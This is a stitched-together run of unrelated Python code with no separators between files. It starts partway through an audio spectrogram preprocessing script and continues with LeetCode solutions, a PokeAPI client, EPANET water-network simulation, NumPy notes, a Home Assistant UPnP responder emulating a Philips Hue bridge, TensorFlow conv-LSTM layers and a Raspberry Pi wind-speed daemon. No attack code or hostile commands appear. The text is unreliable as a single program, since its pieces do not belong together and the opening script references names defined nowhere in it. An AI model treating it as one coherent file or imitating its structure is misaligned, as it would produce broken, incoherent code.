parser.add_argument("--dataset", choices=['BIUREV', 'BIUREV-N'], default='BIUREV', help="spectrogrmas for BIUREV/BIUREV-N/")
args = parser.parse_args()
print('Processing training data')

# Where to take the clean and reverberant audio files from
clean_wavs_dir = pathlib.Path('/mnt/dsi_vol1/users/yochai_yemini/REVERB/SimData/REVERB_WSJCAM0_tr/data/cln_train')
reverb_wavs_dir = pathlib.Path(f'/mnt/dsi_vol1/users/yochai_yemini/{args.dataset}/train/random/')

# Where to save spectrograms
save_base_dir = pathlib.Path(f'./spectrograms/{args.dataset}/mics{args.mics_num}')
save_dir = save_base_dir / 'train/random'

log_max_clean, log_min_clean, log_max_reverb, log_min_reverb = \
    save_spectrograms(args.mics_num, clean_wavs_dir, reverb_wavs_dir, save_dir, 'train')

# Save global min and max values
min_max_file = save_base_dir / 'train/global_min_max.p'
with open(min_max_file, 'wb') as f:
    pickle.dump((log_max_clean, log_min_clean, log_max_reverb, log_min_reverb), f)

########### Process validation data ###########

print('Processing validation data: far')
clean_wavs_dir = pathlib.Path('/mnt/dsi_vol1/users/yochai_yemini/REVERB/SimData/REVERB_WSJCAM0_dt/data/cln_test')
reverb_wavs_base_dir = pathlib.Path(f'/mnt/dsi_vol1/users/yochai_yemini/{args.dataset}/val')
reverb_wavs_dir = reverb_wavs_base_dir / 'far'

save_dir = save_base_dir / 'val' / 'far'
save_spectrograms(args.mics_num, clean_wavs_dir, reverb_wavs_dir, save_dir, 'val')

print('Processing validation data: near')
reverb_wavs_dir = reverb_wavs_base_dir / 'near'
save_dir = save_base_dir / 'val' / 'near'
save_spectrograms(args.mics_num, clean_wavs_dir, reverb_wavs_dir, save_dir, 'val')


import numpy as np
import matplotlib.pyplot as plt

def main():
    filepath = "../processed/correct_within_1_try2.npy"
    Y = np.load(filepath)[:,1:]
    Y = np.absolute(Y - 1)
    print(np.shape(Y))

    M = np.mean(Y, axis=0)
    print(np.shape(M))

    plt.plot(M)
    plt.xlabel("Timestep")
    plt.ylabel("Fraction of failure labels")
    plt.savefig("data_balance.pdf")

if __name__=="__main__":
    main()


from collections import defaultdict

class Solution:
    def numDistinct(self, s: str, t: str) -> int:
        n = len(s)
        m = len(t)
        dp = [[0] * (n + 1) for _ in range(m + 1)]
        for i in range(m + 1):
            for j in range(i, n + 1):
                if i == 0:
                    dp[i][j] = 1
                elif t[i - 1] == s[j - 1]:
                    dp[i][j] += dp[i - 1][j - 1] + dp[i][j - 1]
                else:
                    dp[i][j] += dp[i][j - 1]
        return dp[m][n]


import aiohttp
import json
import logging

logger = logging.getLogger(__name__)

__pokemon_url = "https://pokeapi.co/api/v2/pokemon/{}"

async def get_pokemon(pokedex_id):
    """Asynchronous API call to get the information for a Pokemon by its Pokedex ID number

    Parameters
    ----------
    pokedex_id : int
        Pokedex ID number for a Pokemon. Example: Pokedex ID 1 is Bulbasaur

    Returns
    -------
    dict
        Response dictionary from the Pokemon API with the information of the specified Pokemon
    """
    async with aiohttp.ClientSession() as session:
        async with session.get(__pokemon_url.format(pokedex_id)) as response:
            if response.status >= 400:
                return None
            response_string = await response.text()
            r = json.loads(response_string)
            return r


budget = float(input())
season = input()

destination = ''
money = 0
sleeping = ''

if budget <= 100:
    destination = 'Bulgaria'

    if season == 'summer':
        money = budget * 0.30
        sleeping = 'Camp'

    elif season == 'winter':
        money = budget * 0.70
        sleeping = 'Hotel'

elif budget <= 1000:
    destination = 'Balkans'

    if season == 'summer':
        money = budget * 0.40
        sleeping = 'Camp'

    elif season == 'winter':
        money = budget * 0.80
        sleeping = 'Hotel'

elif budget > 1000:
    destination = 'Europe'
    money = budget * 0.90
    sleeping = 'Hotel'

print(f'Somewhere in {destination}')
print(f'{sleeping} - {money:.2f}')


# /usr/bin/python
# coding: utf-8

# Definition for singly-linked list.
class ListNode:
    def __init__(self, x):
        self.val = x
        self.next = None

class Solution:
    def insertionSortList(self, head):
        """
        :type head: ListNode
        :rtype: ListNode
        """
        dummyHead = ListNode(0)
        dummyHead.next = head
        cur = head
        if head is None or head.next is None:
            return head
        # 进行n次循环直至可以按大小循环至末尾，每次把第n个元素摆放到正确的位置
        while cur.next is not None:
            if cur.val < cur.next.val:
                cur = cur.next
                continue
            else:
                insert_point_l = dummyHead
                while insert_point_l.next.val < cur.next.val:
                    insert_point_l = insert_point_l.next
                insert_point_r = insert_point_l.next
                insert_point_l.next = cur.next
                cur.next = cur.next.next
                insert_point_l.next.next = insert_point_r
        return dummyHead.next

node1, node2, node3, node4, node5 = ListNode(1), ListNode(7), ListNode(3), ListNode(8), ListNode(5)
node1.next = node2
node2.next = node3
node3.next = node4
node4.next = node5
Solution().insertionSortList(node1)


import sys
sys.path.append('/home/augusto/Documents/epanet-python/epanet-module')

import epamodule as em
import numpy as np

def muda_vazao(valor):
    nodes = ["2","3","15","14","13","12","11","10","1","16","17","18","5","4","6","7","8","9"]
    for node in nodes:
        index = em.ENgetnodeindex(node)
        em.ENsetnodevalue(index, em.EN_BASEDEMAND, em.ENgetnodevalue(index, em.EN_BASEDEMAND)*valor)

def reverte_vazao(valor):
    nodes = ["2","3","15","14","13","12","11","10","1","16","17","18","5","4","6","7","8","9"]
    for node in nodes:
        index = em.ENgetnodeindex(node)
        em.ENsetnodevalue(index, em.EN_BASEDEMAND, em.ENgetnodevalue(index, em.EN_BASEDEMAND)/valor)

def muda_rugosidade(grupo, rugosidade):
    for i in grupo:
        linkindex = em.ENgetlinkindex(i)
        em.ENsetlinkvalue(linkindex, em.EN_ROUGHNESS, rugosidade)

# definindo a lista de trechos a qual será variada a rugosidade
g1 = ["2","3","15","14","13","12","11","10","1"]
g2 = ["16","17","18","19","20"]
g3 = ["5","4","6","7","8","9"]

# lendo arquivo que contem a rede e abrindo sistema de análise hidráulica
em.ENopen("/home/augusto/Documents/IC-2020/epanet_arquivos/grafico1/rede.inp")
em.ENopenH()

muda_rugosidade(g1, 0.010)
muda_rugosidade(g2, 0.079)
muda_rugosidade(g3, 0.115)
v = [20,30,50,55,60,70]
valores = []
for i in v:
    l = [i]
    muda_vazao(i)
    em.ENsolveH()
    print("Para vazao = ",i)
    l.append(em.ENgetnodevalue(em.ENgetnodeindex("6"), em.EN_PRESSURE))
    l.append(em.ENgetnodevalue(em.ENgetnodeindex("11"), em.EN_PRESSURE))
    l.append(em.ENgetnodevalue(em.ENgetnodeindex("15"), em.EN_PRESSURE))
    print("n6: ", em.ENgetnodevalue(em.ENgetnodeindex("6"), em.EN_PRESSURE))
    print("n11: ", em.ENgetnodevalue(em.ENgetnodeindex("11"), em.EN_PRESSURE))
    print("n15: ", em.ENgetnodevalue(em.ENgetnodeindex("15"), em.EN_PRESSURE))
    reverte_vazao(i)
    valores.append(l)

print(valores)
em.ENcloseH()
em.ENclose()


import sys

d = {}
for line in sys.stdin:
    if ' ' in line:
        v, k = [a.strip() for a in line.split(' ')]
        d[k] = v

    elif line == '' or line == '\n':
        continue

    elif line.strip() in d:
        print(d[line.strip()])
    else:
        print("eh")


import numpy as np

### ADVANCED MATHEMATICS (MORE THAN ADDING, MULTIPLICATION, ETC)
# print(np.cos(np.pi))
# print(np.sqrt(1.21))
# print(np.log(np.exp(5.2)))

### CREATE ARRAY AND 2D ARRAY
vec = np.array([1,2,3])
# print(vec)
mat = np.array([[1,2,1],[4,5,9],[1,8,9]])
# print('')
# print(mat)
# print('')
# print(mat.T) # transpose matrix, i.e. switch rows & columns

### CREATE ARRAY WITH RANGE
vec2 = np.arange(0,15) # numpy array range
# print(vec2)
# print('')
vec3 = np.arange(3,21,6) # 3 - starting num, inclusive; 21 - ending num, exclusive; 6 - step size
# print(vec3)

### LINEAR SPACE AND RESHAPING
vec4 = np.linspace(0,5,10) # linear space; inclusive starting, inclusive ending, num of items (required)
# print(vec4)
# print('')
# print(vec4.reshape(5,2)) #transforms into matrix, 5 rows, 2 columns
vec4_reshaped = vec4.reshape(5,2) # .reshape is func, does not transform, would need to store output into var
# print(vec4_reshaped)
# print(vec4)

### CREATE ARRAY WITH ALL ZEROS, ONES, OR IDENTITY MATRIX
mat2 = np.zeros([5,3])
# print(mat2)
mat3 = np.ones((3,5))
# print('')
# print(mat3)
mat4 = np.eye(5) # identity matrix, all zeros, except for ones on main diagonal
# print('')
# print(mat4)

### OPERATIONS ON ARRAYS
vec5 = np.arange(1,6)
vec6 = np.arange(3,8)
# print(vec5)
# print(vec6)
# print(vec5+vec6) # first entry of vec5 + first entry of vec6, etc
# print(vec5*vec6)
# print(1/vec5) # 1 divided by each entry
# print(np.sqrt(vec6))

### MATRIX MULTIPLICATION FUNC
print(mat)
print('')
print(vec)
print()
product = np.matmul(mat,vec) # matrix multiplication
print(product)

### LINEAR ALGEBRA FUNC
print(np.linalg.solve(mat,product))
# print('')
# print(np.linalg.inv(mat))

### UNIQUE FUNC ON ARRAYS
# vec7 = np.array(['blue', 'red', 'orange', 'purple', 'purple', 'orange', 'Red', 6])
# print(vec7)
# print(np.unique(vec7))

### RANDOM.RAND FUNC
# rand_mat = np.random.rand(5,5) # uniform random variable; 5 rows, 5 columns
# print(rand_mat)
# rand_mat2 = np.random.randn(10,5) # standard normal random variable
# print('')
# print(rand_mat2)

### MIX MAX MEAN FUNC
# print(np.mean(rand_mat))
# print(np.std(rand_mat2))

# print(np.min(rand_mat))
# print(np.max(rand_mat2))


# class LLNode:
#     def __init__(self, val, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def solve(self, node):
        count = 0
        while node is not None:
            node = node.next
            count += 1
        return count


"""Provides a UPNP discovery method that mimics Hue hubs."""
import threading
import socket
import logging
import select

from aiohttp import web

from homeassistant import core
from homeassistant.components.http import HomeAssistantView
from .utility import *

_LOGGER = logging.getLogger(__name__)

class DescriptionXmlView(HomeAssistantView):
    """Handles requests for the description.xml file."""

    url = '/description.xml'
    name = 'description:xml'
    requires_auth = False

    def __init__(self, config):
        """Initialize the instance of the view."""
        self.config = config

    @core.callback
    def get(self, request):
        """Handle a GET request."""
        xml_template = """<?xml version="1.0" encoding="UTF-8" ?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://{0}:{1}/</URLBase>
<device>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>HASS Bridge ({0})</friendlyName>
<manufacturer>Royal Philips Electronics</manufacturer>
<manufacturerURL>http://www.philips.com</manufacturerURL>
<modelDescription>Philips hue Personal Wireless Lighting</modelDescription>
<modelName>Philips hue bridge 2015</modelName>
<modelNumber>BSB002</modelNumber>
<modelURL>http://www.meethue.com</modelURL>
<serialNumber>{2}</serialNumber>
<UDN>uuid:01234567-89ab-cdef-0123-{2}</UDN>
</device>
</root>
"""

        resp_text = xml_template.format(
            self.config.advertise_ip, self.config.advertise_port,get_mac_address_noformat())

        return web.Response(text=resp_text, content_type='text/xml')

class UPNPResponderThread(threading.Thread):
    """Handle responding to UPNP/SSDP discovery requests."""

    _interrupted = False

    def __init__(self, host_ip_addr, listen_port, upnp_bind_multicast,
                 advertise_ip, advertise_port):
        """Initialize the class."""
        threading.Thread.__init__(self)

        self.host_ip_addr = host_ip_addr
        self.listen_port = listen_port
        self.upnp_bind_multicast = upnp_bind_multicast

        # Note that the double newline at the end of
        # this string is required per the SSDP spec
        resp_template = """HTTP/1.1 200 OK
CACHE-CONTROL: max-age=60
EXT:
LOCATION: http://{0}:{1}/description.xml
SERVER: HomeAssistant/0.6.5, UPnP/1.0, IpBridge/0.1
hue-bridgeid: {2}
ST: upnp:rootdevice
USN: uuid:01234567-89ab-cdef-0123-{3}::upnp:rootdevice

"""

        self.upnp_response = resp_template.format(
            advertise_ip, advertise_port, get_bridgeid(),get_mac_address_noformat()).replace("\n", "\r\n") \
                                         .encode('utf-8')

    def run(self):
        """Run the server."""
        # Listen for UDP port 1900 packets sent to SSDP multicast address
        ssdp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        ssdp_socket.setblocking(False)

        # Required for receiving multicast
        ssdp_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        ssdp_socket.setsockopt(
            socket.SOL_IP,
            socket.IP_MULTICAST_IF,
            socket.inet_aton(self.host_ip_addr))

        ssdp_socket.setsockopt(
            socket.SOL_IP,
            socket.IP_ADD_MEMBERSHIP,
            socket.inet_aton("239.255.255.250") +
            socket.inet_aton(self.host_ip_addr))

        if self.upnp_bind_multicast:
            ssdp_socket.bind(("", 1900))
        else:
            ssdp_socket.bind((self.host_ip_addr, 1900))

        while True:
            if self._interrupted:
                clean_socket_close(ssdp_socket)
                return

            try:
                read, _, _ = select.select(
                    [ssdp_socket], [],
                    [ssdp_socket], 2)

                if ssdp_socket in read:
                    data, addr = ssdp_socket.recvfrom(1024)
                else:
                    # most likely the timeout, so check for interrupt
                    continue
            except socket.error as ex:
                if self._interrupted:
                    clean_socket_close(ssdp_socket)
                    return

                _LOGGER.error("UPNP Responder socket exception occurred: %s",
                              ex.__str__)
                # without the following continue, a second exception occurs
                # because the data object has not been initialized
                continue

            if "M-SEARCH" in data.decode('utf-8', errors='ignore'):
                # SSDP M-SEARCH method received, respond to it with our info
                resp_socket = socket.socket(
                    socket.AF_INET, socket.SOCK_DGRAM)

                resp_socket.sendto(self.upnp_response, addr)
                resp_socket.close()

    def stop(self):
        """Stop the server."""
        # Request for server
        self._interrupted = True
        self.join()

def clean_socket_close(sock):
    """Close a socket connection and logs its closure."""
    _LOGGER.info("UPNP responder shutting down.")

    sock.close()


import tensorflow as tf
import lmbspecialops as sops
import numpy as np

from tensorflow.contrib.layers.python import layers as tf_layers
from tensorflow.contrib.slim import add_arg_scope
from tensorflow.contrib.slim import layers
import sys

from depthmotionnet.helpers import *

def basic_conv_lstm_cell_leakyrelu(inputs,
                         state,
                         num_channels,
                         rate=1,
                         filter_size=5,
                         forget_bias=1.0,
                         stride=1,
                         scope=None,
                         reuse=None):
  """LSTM  with leakyRELU activation, with 2D convolution connctions.
  We add forget_bias (default: 1) to the biases of the forget gate in order to
  reduce the scale of forgetting in the beginning of the training.
  It does not allow cell clipping, a projection layer, and does not
  use peep-hole connections: it is the basic baseline.
  Args:
    inputs: input Tensor, 4D, batch x height x width x channels.
    state: state Tensor, 4D, batch x height x width x channels.
    num_channels: the number of output channels in the layer.
    filter_size: the shape of the each convolution filter.
    forget_bias: the initial value of the forget biases.
    scope: Optional scope for variable_scope.
    reuse: whether or not the layer and the variables should be reused.
  Returns:
     a tuple of tensors representing output and the new state.
  """
  spatial_size = inputs.get_shape()[1:3]
  if state is None:
    state = init_state(inputs, list(spatial_size) + [2 * num_channels])
  with tf.variable_scope(scope,
                         'BasicConvLstmCell',
                         [inputs, state],
                         reuse=reuse):
    inputs.get_shape().assert_has_rank(4)
    state.get_shape().assert_has_rank(4)
    c, h = tf.split(axis=3, num_or_size_splits=2, value=state)
    inputs_h = tf.concat(axis=3, values=[inputs, h])
    # Parameters of gates are concatenated into one conv for efficiency.
    i_j_f_o = layers.conv2d(inputs_h,
                            4 * num_channels, [filter_size, filter_size],
                            stride=stride,
                            rate=rate,
                            activation_fn=None,
                            scope='Gates')

    # i = input_gate, j = new_input, f = forget_gate, o = output_gate
    i, j, f, o = tf.split(axis=3, num_or_size_splits=4, value=i_j_f_o)

    new_c = c * tf.sigmoid(f + forget_bias) + tf.sigmoid(i) *tf.nn.leaky_relu(j, alpha=0.1)
    new_h = tf.nn.leaky_relu(new_c,alpha=0.1) * tf.sigmoid(o)

    return new_h, tf.concat(axis=3, values=[new_c, new_h])

def conv2d(inputs, num_outputs, kernel_size, data_format, **kwargs):
    """Convolution with 'same' padding"""

    return tf.layers.conv2d(
        inputs=inputs,
        filters=num_outputs,
        kernel_size=kernel_size,
        kernel_initializer=default_weights_initializer(),
        padding='same',
        data_format=data_format,
        **kwargs,
        )

def convrelu(inputs, num_outputs, kernel_size, data_format, **kwargs):
    """Shortcut for a single convolution+relu

    See tf.layers.conv2d for a description of remaining parameters
    """
    return conv2d(inputs, num_outputs, kernel_size, data_format, activation=myLeakyRelu, **kwargs)

def convrelu2(inputs, num_outputs, kernel_size, name, stride, data_format, **kwargs):
    """Shortcut for two convolution+relu with 1D filter kernels

    num_outputs: int or (int,int)
        If num_outputs is a tuple then the first element is the number of
        outputs for the 1d filter in y direction and the second element is
        the final number of outputs.
    """
    if isinstance(num_outputs,(tuple,list)):
        num_outputs_y = num_outputs[0]
        num_outputs_x = num_outputs[1]
    else:
        num_outputs_y = num_outputs
        num_outputs_x = num_outputs

    if isinstance(kernel_size,(tuple,list)):
        kernel_size_y = kernel_size[0]
        kernel_size_x = kernel_size[1]
    else:
        kernel_size_y = kernel_size
        kernel_size_x = kernel_size

    tmp_y = tf.layers.conv2d(
        inputs=inputs,
        filters=num_outputs_y,
        kernel_size=[kernel_size_y,1],
        strides=[stride,1],
        padding='same',
        activation=myLeakyRelu,
        kernel_initializer=default_weights_initializer(),
        data_format=data_format,
        name=name+'y',
        **kwargs,
    )
    return tf.layers.conv2d(
        inputs=tmp_y,
        filters=num_outputs_x,
        kernel_size=[1,kernel_size_x],
        strides=[1,stride],
        padding='same',
        activation=myLeakyRelu,
        kernel_initializer=default_weights_initializer(),
        data_format=data_format,
        name=name+'x',
        **kwargs,
    )

def recursive_median_downsample(inp, iterations):
    """Recursively downsamples the input using a 3x3 median filter"""
    result = []
    for i in range(iterations):
        if not result:
            tmp_inp = inp
        else:
            tmp_inp = result[-1]
        result.append(sops.median3x3_downsample(tmp_inp))
    return tuple(result)


import click

import logging
import math
import json
import threading
import RPi.GPIO as GPIO

import aqi

from signal import pthread_kill, SIGTSTP
from time import sleep

from xmlrpc.server import SimpleXMLRPCServer

import xmlrpc.client

"""
Simple client/server to count sensor clicks and compute wind speed.

"""

HALL_EFFECT_GPIO = 20 # in BCM
SPEED_POLLING_INTERVAL = 10 # seconds

cnt = 0

r = 10 # cm, the radius of the spinner
rpm = 0

c = 2 * r * math.pi # cm

struct = {}

def compute(rpm, pi=SPEED_POLLING_INTERVAL):
    return dict(kph=rpm * c * 60 / 100000,
             mph=(rpm * c * 60 / 100000) * 0.621371,
             mps=rpm * c / 6000,
             rpm=rpm)

def count(*a, **k):
    global cnt
    cnt = cnt + 1
    # print("tick")

def interval(*a, **k):
    global rpm, cnt, struct
    while True:
        struct = aqi.get()
        rpm = cnt * (60 / SPEED_POLLING_INTERVAL)
        struct['meterological']['windspeed'] = compute(rpm)
        cnt = 0
        sleep(SPEED_POLLING_INTERVAL)

def serve():
    return struct

@click.group()
def cli():
    """
Simple client/server to count sensor clicks and compute wind speed.

"""
    pass

@cli.command()
@click.option('-f', '--foreground', default=False)
def start(foreground=False):
    "Start the counting daemon."
    logging.basicConfig(level=logging.DEBUG, format='%(relativeCreated)6d %(threadName)s %(message)s')
    logging.debug("start ok")
    with SimpleXMLRPCServer(('localhost', 8000)) as server:

        logging.debug("setup server")
        server.register_function(serve)

        logging.info("create thread")
        T = threading.Thread(target=interval, daemon=True)

        # GPIO.setmode(GPIO.BOARD) # etc
        logging.info("setup pins")
        GPIO.setup(HALL_EFFECT_GPIO, GPIO.IN, pull_up_down=GPIO.PUD_UP)

        logging.debug("setup callback")
        GPIO.add_event_detect(HALL_EFFECT_GPIO, GPIO.FALLING, callback=count, bouncetime=10)

        logging.info("starting sensor")
        T.start()

        logging.info("starting server")
        try:
            server.serve_forever()
        except KeyboardInterrupt:
            pass
        finally:
            logging.error("stopping server")
            GPIO.cleanup()

            logging.info("cleaning up")
            pthread_kill(T.ident, SIGTSTP)

            logging.error("waiting to stop")
            T.join()

@cli.command()
def get():
    "Get the computed wind speed from the last 10 seconds."
    srv = xmlrpc.client.ServerProxy('http://localhost:8000')
    print(json.dumps(srv.serve()))

if __name__ == '__main__':
    cli()